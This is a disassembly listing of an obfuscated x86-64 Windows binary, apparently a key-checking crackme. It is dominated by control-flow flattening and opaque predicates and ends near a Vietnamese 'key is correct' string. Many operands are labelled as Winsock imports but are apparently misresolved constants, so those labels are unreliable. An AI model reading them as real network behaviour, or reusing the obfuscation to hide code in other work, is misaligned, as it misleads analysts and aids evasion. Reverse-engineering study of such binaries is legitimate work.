mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5d14], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x140019f70
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x140019fa0
cmp edx, 0xa5d80088
je 0x140019f51
cmp edx, 0x43da19d2
je 0x140019fc9
cmp edx, 0x7b15273e
jne 0x140019f70
mov edx, ebx
jmp 0x140019f70
cmp edx, 0x83c8a34f
je 0x14001a019
cmp edx, 0x936cad5d
jne 0x140019f70
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_select
mov edx, 0x7b15273e
jmp 0x140019f70
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x140019f70
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov rcx, qword [rbp + 0x180]
mov byte [rcx], al
mov r12, qword [rbp + 0x180]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x14001a090
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x14001a0c0
cmp edx, 0xa5d80088
je 0x14001a072
cmp edx, 0x43da19d2
je 0x14001a0ed
cmp edx, 0x7b15273e
jne 0x14001a090
mov edx, ebx
jmp 0x14001a090
cmp edx, 0x83c8a34f
je 0x14001a13d
cmp edx, 0x936cad5d
jne 0x14001a090
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_send
mov edx, 0x7b15273e
jmp 0x14001a090
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a090
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 1], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402b5d14], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x14001a1b0
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop
cmp edx, 0xa5d80087
jle 0x14001a1e0
cmp edx, 0xa5d80088
je 0x14001a194
cmp edx, 0x43da19d2
je 0x14001a20d
cmp edx, 0x7b15273e
jne 0x14001a1b0
mov edx, ecx
jmp 0x14001a1b0
cmp edx, 0x83c8a34f
je 0x14001a25d
cmp edx, 0x936cad5d
jne 0x14001a1b0
mov qword [rbp + 0x200], Ordinal_60
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_sendto
mov edx, 0x7b15273e
jmp 0x14001a1b0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a1b0
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 2], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402b5d14], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x14001a2d0
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x14001a300
cmp edx, 0xa5d80088
je 0x14001a2b4
cmp edx, 0x43da19d2
je 0x14001a32d
cmp edx, 0x7b15273e
jne 0x14001a2d0
mov edx, ebx
jmp 0x14001a2d0
cmp edx, 0x83c8a34f
je 0x14001a37d
cmp edx, 0x936cad5d
jne 0x14001a2d0
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_setsockopt
mov edx, 0x7b15273e
jmp 0x14001a2d0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a2d0
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 3], al
mov byte [r12 + 4], 0
mov rax, qword [rbp + 0x168]
mov byte [rax + 0xc], 1
mov rax, qword [rbp + 0x168]
mov eax, dword [0x1402b5d18]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov r12d, 0xa49b0ee4
cmove r12d, r13d
cmp dword [0x1402b5d1c], 0xa
mov ecx, 0xa49b0ee4
cmovge r12d, ecx
setl cl
xor cl, al
cmovne r12d, r13d
jmp 0x1400194d0
mov eax, dword [0x1402b5d18]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov r12d, 0xa49b0ee4
mov edx, 0x7dd8dd1b
cmove r12d, edx
cmp dword [0x1402b5d1c], 0xa
mov ecx, 0xa49b0ee4
cmovge r12d, ecx
setl cl
xor cl, al
cmovne r12d, edx
jmp 0x1400194d0
mov eax, dword [0x1402b5d18]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov r12d, 0x423a9c69
cmove r12d, edi
cmp dword [0x1402b5d1c], 0xa
cmovge r12d, r14d
setl cl
xor cl, al
cmovne r12d, edi
jmp 0x1400194d0
mov byte [rbp + 0x1d0], al
movzx eax, byte [rbp + 0x1d0]
mov byte [r12], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x14001a4d0
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop word [rax + rax]
cmp edx, 0xa5d80087
jle 0x14001a500
cmp edx, 0xa5d80088
je 0x14001a4af
cmp edx, 0x43da19d2
je 0x14001a52d
cmp edx, 0x7b15273e
jne 0x14001a4d0
mov edx, ecx
jmp 0x14001a4d0
cmp edx, 0x83c8a34f
je 0x14001a57d
cmp edx, 0x936cad5d
jne 0x14001a4d0
mov qword [rbp + 0x200], 0x3e
mov qword [rbp + 0x1e8], select
mov edx, 0x7b15273e
jmp 0x14001a4d0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a4d0
mov byte [rbp + 0x1d0], al
movzx eax, byte [rbp + 0x1d0]
mov byte [r12 + 1], al
add r12, 2
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r11
mov eax, 0xf6a36b48
jmp 0x14001a5e0
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 4], al
add r12, 5
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x1d0], rsi
mov eax, 0xbe9d2248
nop word cs:[rax + rax]
cmp eax, 0xbe9d2248
je 0x14001ab81
cmp eax, 0xf6a36b48
jne 0x14001a5e0
mov rax, qword [rbp + 0x178]
movsx r12, byte [rax]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x14001a660
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x14001a690
cmp edx, 0xa5d80088
je 0x14001a639
cmp edx, 0x43da19d2
je 0x14001a6b9
cmp edx, 0x7b15273e
jne 0x14001a660
mov edx, ecx
jmp 0x14001a660
cmp edx, 0x83c8a34f
je 0x14001a709
cmp edx, 0x936cad5d
jne 0x14001a660
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_listen
mov edx, 0x7b15273e
jmp 0x14001a660
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a660
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov rcx, qword [rbp + 0x170]
mov byte [rcx], al
mov r12, qword [rbp + 0x170]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x14001a780
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop dword [rax]
cmp edx, 0xa5d80087
jle 0x14001a7b0
cmp edx, 0xa5d80088
je 0x14001a761
cmp edx, 0x43da19d2
je 0x14001a7dd
cmp edx, 0x7b15273e
jne 0x14001a780
mov edx, ecx
jmp 0x14001a780
cmp edx, 0x83c8a34f
je 0x14001a82d
cmp edx, 0x936cad5d
jne 0x14001a780
mov qword [rbp + 0x200], 0x3e
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohl
mov edx, 0x7b15273e
jmp 0x14001a780
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a780
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 1], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x14001a890
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop dword [rax]
cmp edx, 0xa5d80087
jle 0x14001a8c0
cmp edx, 0xa5d80088
je 0x14001a87a
cmp edx, 0x43da19d2
je 0x14001a8ed
cmp edx, 0x7b15273e
jne 0x14001a890
mov edx, ebx
jmp 0x14001a890
cmp edx, 0x83c8a34f
je 0x14001a93d
cmp edx, 0x936cad5d
jne 0x14001a890
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov edx, 0x7b15273e
jmp 0x14001a890
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a890
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 2], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x14001a9b0
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x14001a9e0
cmp edx, 0xa5d80088
je 0x14001a98b
cmp edx, 0x43da19d2
je 0x14001aa0d
cmp edx, 0x7b15273e
jne 0x14001a9b0
mov edx, ecx
jmp 0x14001a9b0
cmp edx, 0x83c8a34f
je 0x14001aa5d
cmp edx, 0x936cad5d
jne 0x14001a9b0
mov qword [rbp + 0x200], Ordinal_79
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recv
mov edx, 0x7b15273e
jmp 0x14001a9b0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001a9b0
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 3], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x14001aad0
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x14001ab00
cmp edx, 0xa5d80088
je 0x14001aaaa
cmp edx, 0x43da19d2
je 0x14001ab31
cmp edx, 0x7b15273e
jne 0x14001aad0
mov edx, ecx
jmp 0x14001aad0
cmp edx, 0x83c8a34f
je 0x14001a5a8
cmp edx, 0x936cad5d
jne 0x14001aad0
mov qword [rbp + 0x200], WSAGetLastError
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recvfrom
mov edx, 0x7b15273e
jmp 0x14001aad0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001aad0
mov rax, qword [rbp + 0x1d0]
movsx r12, byte [rax + 7]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x14001abe0
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop dword [rax + rax]
cmp edx, 0xa5d80087
jle 0x14001ac10
cmp edx, 0xa5d80088
je 0x14001abc9
cmp edx, 0x43da19d2
je 0x14001ac39
cmp edx, 0x7b15273e
jne 0x14001abe0
mov edx, ebx
jmp 0x14001abe0
cmp edx, 0x83c8a34f
je 0x14001ac89
cmp edx, 0x936cad5d
jne 0x14001abe0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_select
mov edx, 0x7b15273e
jmp 0x14001abe0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001abe0
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov rcx, qword [rbp + 0x180]
mov byte [rcx], al
mov r12, qword [rbp + 0x180]
mov eax, dword [0x1402b5d10]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402b5d14], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x14001ad10
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x14001ad40
cmp edx, 0xa5d80088
je 0x14001aceb
cmp edx, 0x43da19d2
je 0x14001ad6d
cmp edx, 0x7b15273e
jne 0x14001ad10
mov edx, ecx
jmp 0x14001ad10
cmp edx, 0x83c8a34f
je 0x14001adbd
cmp edx, 0x936cad5d
jne 0x14001ad10
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_send
mov edx, 0x7b15273e
jmp 0x14001ad10
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001ad10
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 1], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x14001ae20
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop dword [rax]
cmp edx, 0xa5d80087
jle 0x14001ae50
cmp edx, 0xa5d80088
je 0x14001ae0a
cmp edx, 0x43da19d2
je 0x14001ae7d
cmp edx, 0x7b15273e
jne 0x14001ae20
mov edx, ebx
jmp 0x14001ae20
cmp edx, 0x83c8a34f
je 0x14001aecd
cmp edx, 0x936cad5d
jne 0x14001ae20
mov qword [rbp + 0x200], Ordinal_60
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_sendto
mov edx, 0x7b15273e
jmp 0x14001ae20
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001ae20
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 2], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5d14], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x14001af40
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x14001af70
cmp edx, 0xa5d80088
je 0x14001af23
cmp edx, 0x43da19d2
je 0x14001af9d
cmp edx, 0x7b15273e
jne 0x14001af40
mov edx, ebx
jmp 0x14001af40
cmp edx, 0x83c8a34f
je 0x14001afed
cmp edx, 0x936cad5d
jne 0x14001af40
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_setsockopt
mov edx, 0x7b15273e
jmp 0x14001af40
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x14001af40
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 3], al
mov byte [r12 + 4], 0
mov rax, qword [rbp + 0x168]
mov byte [rax + 0xc], 1
mov rax, qword [rbp + 0x168]
mov r12d, 0x7dd8dd1b
jmp 0x1400194d0
cmp r12d, 0x7b7af5c9
jne 0x1400194d0
mov rax, qword [rbp + 0x1e0]
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
lea rbx, [rbp + 0x1b0]
jne 0x14001b072
or cl, al
test cl, 1
je 0x14001b072
nop dword [rax + rax]
jmp 0x14001b070
sub rsp, 0x20
lea rdx, [rbp + 0x190]
mov rcx, qword [rbp + 0x128]
call fcn.140028320
add rsp, 0x20
sub rsp, 0x20
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.140002980
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140003ad0
add rsp, 0x20
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov edi, 0xb5ee369a
mov r15d, 0xa1dae94d
jmp 0x14001b0cd
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x14001b20c
cmp eax, 0x8e514f33
jne 0x14001b0cd
sub rsp, 0x20
mov rcx, rbx
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x200]
cmp ecx, 0xa
setl byte [rbp + 0x1e8]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x14001b166
cmp eax, 0xa1dae94d
je 0x14001b1a2
cmp eax, 0xb5ee369a
je 0x14001b1c3
cmp eax, 0xc7dc8da9
jne 0x14001b11e
movzx ecx, byte [rbp + 0x200]
movzx eax, byte [rbp + 0x1e8]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x14001b11e
cmp eax, 0x354e3b8c
je 0x14001b0c8
cmp eax, 0x559d78c6
je 0x14001b1cd
cmp eax, 0x66202512
jne 0x14001b11e
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x190]
cmp eax, 0x51eaacfe
je 0x14001b19b
cmp eax, 0x89bfb55a
jne 0x14001b18b
jmp 0x14001b1ac
mov eax, 0x89bfb55a
jmp 0x14001b18b
mov eax, 0x66202512
jmp 0x14001b11e
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x14001b11e
mov eax, 0x559d78c6
jmp 0x14001b11e
mov qword [rbp + 0x190], rbx
mov eax, dword [0x1402b5af0]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xb5ee369a
cmove eax, r15d
cmp dword [0x1402b5af4], 0xa
cmovge eax, edi
setl dl
xor dl, cl
cmovne eax, r15d
jmp 0x14001b11e
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002e40
add rsp, 0x20
mov r15, rax
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x14001b262
xor cl, al
jne 0x14001b262
nop
jmp 0x14001b260
sub rsp, 0x20
lea rcx, [rbp + 0x1b0]
call section..text
add rsp, 0x20
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x14001b2b2
or cl, al
test cl, 1
je 0x14001b2b2
nop word cs:[rax + rax]
jmp 0x14001b2b0
sub rsp, 0x20
lea rdx, [rbp + 0x1b0]
mov rcx, r15
call fcn.140002980
add rsp, 0x20
mov qword [rbp + 0x128], rax
mov eax, dword [0x1402b5d20]
mov ecx, dword [0x1402b5d24]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x11f]
cmp ecx, 0xa
setl byte [rbp + 0x15f]
mov qword [rbp - 8], rsp
mov eax, 0x3e3c4ce2
mov r10d, 0x49aab3f8
mov r15d, 0x5326c9a6
mov r13d, 0xa6a1a9a1
mov edx, 0x713de1e4
mov ecx, 0xde88099a
mov r9d, 0xe387e907
mov edi, 0x23c4f722
lea r8, str._____Key_chuan_roi______n
mov ebx, 0x77a3002b
jmp 0x14001b33d
mov eax, 0x4f66ebaa
cmp eax, 0x254a3795
jg 0x14001b368
cmp eax, 0xbdd161c2
jle 0x14001b3b7
cmp eax, 0xfacf1089
je 0x14001d7cd
